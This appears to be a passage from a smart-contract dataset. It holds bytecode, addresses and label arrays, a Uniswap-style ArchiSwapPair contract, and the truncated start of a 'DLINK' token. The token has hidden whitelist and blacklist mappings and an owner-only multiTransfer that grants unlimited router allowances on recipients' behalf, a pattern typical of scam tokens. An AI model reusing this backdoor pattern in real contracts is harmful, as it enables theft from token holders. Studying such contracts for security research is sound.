182526000808252602082018190529181018290526060810182905260808101919091529056fe4d756c74694272696467653a3a6c6f636b3a20496e76616c696420636861696e207370656369666965644d756c74694272696467653a3a66756e64556e6c6f636b3a20496e636f727265637420616d6f756e74206f662066756e647320737570706c6965644f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d61792068617665207265766572746564416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4d756c74696272696467653a3a616363727565466565733a20626c6f636b206e756d626572206578636565647320333220626974734665654163637275616c3a3a72656465656d3a204e6f20666565732061726520636c61696d61626c65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724d756c74694272696467653a3a66756e64556e6c6f636b3a2046756e64696e6720616c72656164792070726f76696465644d756c74694272696467653a3a6c6f636b3a20496e73756666696369656e742066756e64732070726f766964656420746f2066756e64206d6967726174696f6e4d756c74696272696467653a3a6c6f636b3a20747820676173207072696365206578636565647320333220626974734d756c74694272696467653a3a66756e64556e6c6f636b3a205472616e73616374696f6e20616c726561647920756e6c6f636b65645361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220765d1925235c8b08c62f65bc74cff4d03fa994ed7ebfdaa5da14a4790c6d7e1b64736f6c634300060c0033
[ 9 ]
0xF2F9b5cC618A155e33C3DAD758F499BC11f91b31
pragma solidity =0.5.16; import './IArchiSwapPair.sol'; import './ArchiSwapERC20.sol'; import './Math.sol'; import './UQ112x112.sol'; import './IERC20.sol'; import './IArchiSwapFactory.sol'; import './IArchiSwapCallee.sol'; contract ArchiSwapPair is IArchiSwapPair, ArchiSwapERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'ARCHISWAPPAIR:LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ARCHISWAPPAIR:TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'ARCHISWAPPAIR:FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'ARCHISWAPPAIR:OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/4th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IArchiSwapFactory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'ARCHISWAPPAIR:INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'ARCHISWAPPAIR:INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'ARCHISWAPPAIR:INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'ARCHISWAPPAIR:INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'ARCHISWAPPAIR:INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IArchiSwapCallee(to).swapCall(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'ARCHISWAPPAIR:INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(2)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(2)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'ARCHISWAPPAIR:K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a714610534578063d505accf1461053c578063dd62ed3e1461058d578063fff6cae9146105bb576101a9565b8063ba9a7a56146104fe578063bc25cf7714610506578063c45a01551461052c576101a9565b80637ecebe00116100d35780637ecebe001461046557806389afcb441461048b57806395d89b41146104ca578063a9059cbb146104d2576101a9565b80636a6278421461041157806370a08231146104375780637464fc3d1461045d576101a9565b806323b872dd116101665780633644e515116101405780633644e515146103cb578063485cc955146103d35780635909c0d5146104015780635a3d549314610409576101a9565b806323b872dd1461036f57806330adf81f146103a5578063313ce567146103ad576101a9565b8063022c0d9f146101ae57806306fdde031461023c5780630902f1ac146102b9578063095ea7b3146102f15780630dfe16811461033157806318160ddd14610355575b600080fd5b61023a600480360360808110156101c457600080fd5b8135916020810135916001600160a01b0360408301351691908101906080810160608201356401000000008111156101fb57600080fd5b82018360208201111561020d57600080fd5b8035906020019184600183028401116401000000008311171561022f57600080fd5b5090925090506105c3565b005b610244610b0c565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561027e578181015183820152602001610266565b50505050905090810190601f1680156102ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c1610b31565b604080516001600160701b03948516815292909316602083015263ffffffff168183015290519081900360600190f35b61031d6004803603604081101561030757600080fd5b506001600160a01b038135169060200135610b5b565b604080519115158252519081900360200190f35b610339610b72565b604080516001600160a01b039092168252519081900360200190f35b61035d610b81565b60408051918252519081900360200190f35b61031d6004803603606081101561038557600080fd5b506001600160a01b03813581169160208101359091169060400135610b87565b61035d610c21565b6103b5610c45565b6040805160ff9092168252519081900360200190f35b61035d610c4a565b61023a600480360360408110156103e957600080fd5b506001600160a01b0381358116916020013516610c50565b61035d610cdd565b61035d610ce3565b61035d6004803603602081101561042757600080fd5b50356001600160a01b0316610ce9565b61035d6004803603602081101561044d57600080fd5b50356001600160a01b0316610fec565b61035d610ffe565b61035d6004803603602081101561047b57600080fd5b50356001600160a01b0316611004565b6104b1600480360360208110156104a157600080fd5b50356001600160a01b0316611016565b6040805192835260208301919091528051918290030190f35b6102446113bf565b61031d600480360360408110156104e857600080fd5b506001600160a01b0381351690602001356113e3565b61035d6113f0565b61023a6004803603602081101561051c57600080fd5b50356001600160a01b03166113f6565b610339611564565b610339611573565b61023a600480360360e081101561055257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611582565b61035d600480360360408110156105a357600080fd5b506001600160a01b0381358116916020013516611788565b61023a6117a5565b600c54600114610611576040805162461bcd60e51b8152602060048201526014602482015273105490d21254d5d054141052548e9313d0d2d15160621b604482015290519081900360640190fd5b6000600c55841515806106245750600084115b61065f5760405162461bcd60e51b81526004018080602001828103825260288152602001806122626028913960400191505060405180910390fd5b60008061066a610b31565b5091509150816001600160701b03168710801561068f5750806001600160701b031686105b6106ca5760405162461bcd60e51b815260040180806020018281038252602481526020018061223e6024913960400191505060405180910390fd5b60065460075460009182916001600160a01b039182169190811690891682148015906107085750806001600160a01b0316896001600160a01b031614155b610759576040805162461bcd60e51b815260206004820152601860248201527f415243484953574150504149523a494e56414c49445f544f0000000000000000604482015290519081900360640190fd5b8a1561076a5761076a828a8d61190a565b891561077b5761077b818a8c61190a565b861561083657886001600160a01b031663df9aee68338d8d8c8c6040518663ffffffff1660e01b815260040180866001600160a01b03166001600160a01b03168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b15801561081d57600080fd5b505af1158015610831573d6000803e3d6000fd5b505050505b604080516370a0823160e01b815230600482015290516001600160a01b038416916370a08231916024808301926020929190829003018186803b15801561087c57600080fd5b505afa158015610890573d6000803e3d6000fd5b505050506040513d60208110156108a657600080fd5b5051604080516370a0823160e01b815230600482015290519195506001600160a01b038316916370a0823191602480820192602092909190829003018186803b1580156108f257600080fd5b505afa158015610906573d6000803e3d6000fd5b505050506040513d602081101561091c57600080fd5b5051925060009150506001600160701b0385168a9003831161093f57600061094e565b89856001600160701b03160383035b9050600089856001600160701b031603831161096b57600061097a565b89856001600160701b03160383035b9050600082118061098b5750600081115b6109c65760405162461bcd60e51b81526004018080602001828103825260278152602001806121c16027913960400191505060405180910390fd5b60006109fa6109dc84600263ffffffff611aa416565b6109ee876103e863ffffffff611aa416565b9063ffffffff611b0816565b90506000610a126109dc84600263ffffffff611aa416565b9050610a43620f4240610a376001600160701b038b8116908b1663ffffffff611aa416565b9063ffffffff611aa416565b610a53838363ffffffff611aa416565b1015610a98576040805162461bcd60e51b815260206004820152600f60248201526e415243484953574150504149523a4b60881b604482015290519081900360640190fd5b5050610aa684848888611b59565b60408051838152602081018390528082018d9052606081018c905290516001600160a01b038b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b604051806040016040528060098152602001684172636869204c507360b81b81525081565b6008546001600160701b0380821692600160701b830490911691600160e01b900463ffffffff1690565b6000610b68338484611d21565b5060015b92915050565b6006546001600160a01b031681565b60005481565b6001600160a01b038316600090815260026020908152604080832033845290915281205460001914610c0c576001600160a01b0384166000908152600260209081526040808320338452909152902054610be7908363ffffffff611b0816565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b610c17848484611d83565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b6005546001600160a01b03163314610caf576040805162461bcd60e51b815260206004820152601760248201527f415243484953574150504149523a464f5242494444454e000000000000000000604482015290519081900360640190fd5b600680546001600160a01b039384166001600160a01b03199182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c54600114610d39576040805162461bcd60e51b8152602060048201526014602482015273105490d21254d5d054141052548e9313d0d2d15160621b604482015290519081900360640190fd5b6000600c81905580610d49610b31565b50600654604080516370a0823160e01b815230600482015290519395509193506000926001600160a01b03909116916370a08231916024808301926020929190829003018186803b158015610d9d57600080fd5b505afa158015610db1573d6000803e3d6000fd5b505050506040513d6020811015610dc757600080fd5b5051600754604080516370a0823160e01b815230600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610e1a57600080fd5b505afa158015610e2e573d6000803e3d6000fd5b505050506040513d6020811015610e4457600080fd5b505190506000610e63836001600160701b03871663ffffffff611b0816565b90506000610e80836001600160701b03871663ffffffff611b0816565b90506000610e8e8787611e3d565b60005490915080610ecb57610eb76103e86109ee610eb2878763ffffffff611aa416565b611f9b565b9850610ec660006103e8611fed565b610f1a565b610f176001600160701b038916610ee8868463ffffffff611aa416565b81610eef57fe5b046001600160701b038916610f0a868563ffffffff611aa416565b81610f1157fe5b04612083565b98505b60008911610f595760405162461bcd60e51b815260040180806020018281038252602b8152602001806121e8602b913960400191505060405180910390fd5b610f638a8a611fed565b610f6f86868a8a611b59565b8115610f9f57600854610f9b906001600160701b0380821691600160701b90041663ffffffff611aa416565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c54600114611067576040805162461bcd60e51b8152602060048201526014602482015273105490d21254d5d054141052548e9313d0d2d15160621b604482015290519081900360640190fd5b6000600c81905580611077610b31565b50600654600754604080516370a0823160e01b815230600482015290519496509294506001600160a01b039182169391169160009184916370a08231916024808301926020929190829003018186803b1580156110d357600080fd5b505afa1580156110e7573d6000803e3d6000fd5b505050506040513d60208110156110fd57600080fd5b5051604080516370a0823160e01b815230600482015290519192506000916001600160a01b038516916370a08231916024808301926020929190829003018186803b15801561114b57600080fd5b505afa15801561115f573d6000803e3d6000fd5b505050506040513d602081101561117557600080fd5b5051306000908152600160205260408120549192506111948888611e3d565b600054909150806111ab848763ffffffff611aa416565b816111b257fe5b049a50806111c6848663ffffffff611aa416565b816111cd57fe5b04995060008b1180156111e0575060008a115b61121b5760405162461bcd60e51b815260040180806020018281038252602b815260200180612213602b913960400191505060405180910390fd5b611225308461209b565b611230878d8d61190a565b61123b868d8c61190a565b604080516370a0823160e01b815230600482015290516001600160a01b038916916370a08231916024808301926020929190829003018186803b15801561128157600080fd5b505afa158015611295573d6000803e3d6000fd5b505050506040513d60208110156112ab57600080fd5b5051604080516370a0823160e01b815230600482015290519196506001600160a01b038816916370a0823191602480820192602092909190829003018186803b1580156112f757600080fd5b505afa15801561130b573d6000803e3d6000fd5b505050506040513d602081101561132157600080fd5b5051935061133185858b8b611b59565b81156113615760085461135d906001600160701b0380821691600160701b90041663ffffffff611aa416565b600b555b604080518c8152602081018c905281516001600160a01b038f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b60405180604001604052806008815260200167041726368692d4c560c41b81525081565b6000610b68338484611d83565b6103e881565b600c54600114611444576040805162461bcd60e51b8152602060048201526014602482015273105490d21254d5d054141052548e9313d0d2d15160621b604482015290519081900360640190fd5b6000600c55600654600754600854604080516370a0823160e01b815230600482015290516001600160a01b0394851694909316926114f392859287926114ee926001600160701b03169185916370a0823191602480820192602092909190829003018186803b1580156114b657600080fd5b505afa1580156114ca573d6000803e3d6000fd5b505050506040513d60208110156114e057600080fd5b50519063ffffffff611b0816565b61190a565b600854604080516370a0823160e01b8152306004820152905161155a92849287926114ee92600160701b90046001600160701b0316916001600160a01b038616916370a0823191602480820192602092909190829003018186803b1580156114b657600080fd5b50506001600c5550565b6005546001600160a01b031681565b6007546001600160a01b031681565b428410156115d0576040805162461bcd60e51b8152602060048201526016602482015275105490d21254d5d054115490cc8c0e9156141254915160521b604482015290519081900360640190fd5b6003546001600160a01b0380891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e08501825280519083012061190160f01b6101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e280820193601f1981019281900390910190855afa1580156116eb573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116158015906117215750886001600160a01b0316816001600160a01b0316145b611772576040805162461bcd60e51b815260206004820181905260248201527f41524348495357415045524332303a494e56414c49445f5349474e4154555245604482015290519081900360640190fd5b61177d898989611d21565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c546001146117f3576040805162461bcd60e51b8152602060048201526014602482015273105490d21254d5d054141052548e9313d0d2d15160621b604482015290519081900360640190fd5b6000600c55600654604080516370a0823160e01b81523060048201529051611903926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561184457600080fd5b505afa158015611858573d6000803e3d6000fd5b505050506040513d602081101561186e57600080fd5b5051600754604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156118bb57600080fd5b505afa1580156118cf573d6000803e3d6000fd5b505050506040513d60208110156118e557600080fd5b50516008546001600160701b0380821691600160701b900416611b59565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e74323536290000000000000060209182015281516001600160a01b0385811660248301526044808301869052845180840390910181526064909201845291810180516001600160e01b031663a9059cbb60e01b1781529251815160009460609489169392918291908083835b602083106119b75780518252601f199092019160209182019101611998565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611a19576040519150601f19603f3d011682016040523d82523d6000602084013e611a1e565b606091505b5091509150818015611a4c575080511580611a4c5750808060200190516020811015611a4957600080fd5b50515b611a9d576040805162461bcd60e51b815260206004820152601d60248201527f415243484953574150504149523a5452414e534645525f4641494c4544000000604482015290519081900360640190fd5b5050505050565b6000811580611abf57505080820282828281611abc57fe5b04145b610b6c576040805162461bcd60e51b8152602060048201526015602482015274534146454d4154483a4d554c5f4f564552464c4f5760581b604482015290519081900360640190fd5b80820382811115610b6c576040805162461bcd60e51b8152602060048201526016602482015275534146454d4154483a5355425f554e444552464c4f5760501b604482015290519081900360640190fd5b6001600160701b038411801590611b7757506001600160701b038311155b611bc1576040805162461bcd60e51b8152602060048201526016602482015275415243484953574150504149523a4f564552464c4f5760501b604482015290519081900360640190fd5b60085463ffffffff42811691600160e01b90048116820390811615801590611bf157506001600160701b03841615155b8015611c0557506001600160701b03831615155b15611c76578063ffffffff16611c3385611c1e86612139565b6001600160e01b03169063ffffffff61214b16565b600980546001600160e01b03929092169290920201905563ffffffff8116611c5e84611c1e87612139565b600a80546001600160e01b0392909216929092020190555b600880546dffffffffffffffffffffffffffff19166001600160701b03888116919091176dffffffffffffffffffffffffffff60701b1916600160701b8883168102919091176001600160e01b0316600160e01b63ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316600090815260016020526040902054611dac908263ffffffff611b0816565b6001600160a01b038085166000908152600160205260408082209390935590841681522054611de1908263ffffffff61217016565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a90046001600160a01b03166001600160a01b031663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b158015611e8e57600080fd5b505afa158015611ea2573d6000803e3d6000fd5b505050506040513d6020811015611eb857600080fd5b5051600b546001600160a01b038216158015945091925090611f87578015611f82576000611efb610eb26001600160701b0388811690881663ffffffff611aa416565b90506000611f0883611f9b565b905080821115611f7f576000611f36611f27848463ffffffff611b0816565b6000549063ffffffff611aa416565b90506000611f5b83611f4f86600563ffffffff611aa416565b9063ffffffff61217016565b90506000818381611f6857fe5b0490508015611f7b57611f7b8782611fed565b5050505b50505b611f93565b8015611f93576000600b555b505092915050565b60006003821115611fde575080600160028204015b81811015611fd857809150600281828581611fc757fe5b040181611fd057fe5b049050611fb0565b50611fe8565b8115611fe8575060015b919050565b600054612000908263ffffffff61217016565b60009081556001600160a01b03831681526001602052604090205461202b908263ffffffff61217016565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b60008183106120925781612094565b825b9392505050565b6001600160a01b0382166000908152600160205260409020546120c4908263ffffffff611b0816565b6001600160a01b038316600090815260016020526040812091909155546120f1908263ffffffff611b0816565b60009081556040805183815290516001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6001600160701b0316600160701b0290565b60006001600160701b0382166001600160e01b0384168161216857fe5b049392505050565b80820182811015610b6c576040805162461bcd60e51b8152602060048201526015602482015274534146454d4154483a4144445f4f564552464c4f5760581b604482015290519081900360640190fdfe415243484953574150504149523a494e53554646494349454e545f494e5055545f414d4f554e54415243484953574150504149523a494e53554646494349454e545f4c49515549444954595f4d494e544544415243484953574150504149523a494e53554646494349454e545f4c49515549444954595f4255524e4544415243484953574150504149523a494e53554646494349454e545f4c4951554944495459415243484953574150504149523a494e53554646494349454e545f4f55545055545f414d4f554e54a265627a7a72315820acbb1a1daaeeb9cdccf03a1361acc1ec1bae5f7087ee01fd01e0c7b693c8109f64736f6c63430005100032
[ 10, 7, 9 ]
0xf2fa0387ab103598631dfb99a4893457319d1bcc
pragma solidity ^0.6.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DLINK is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function 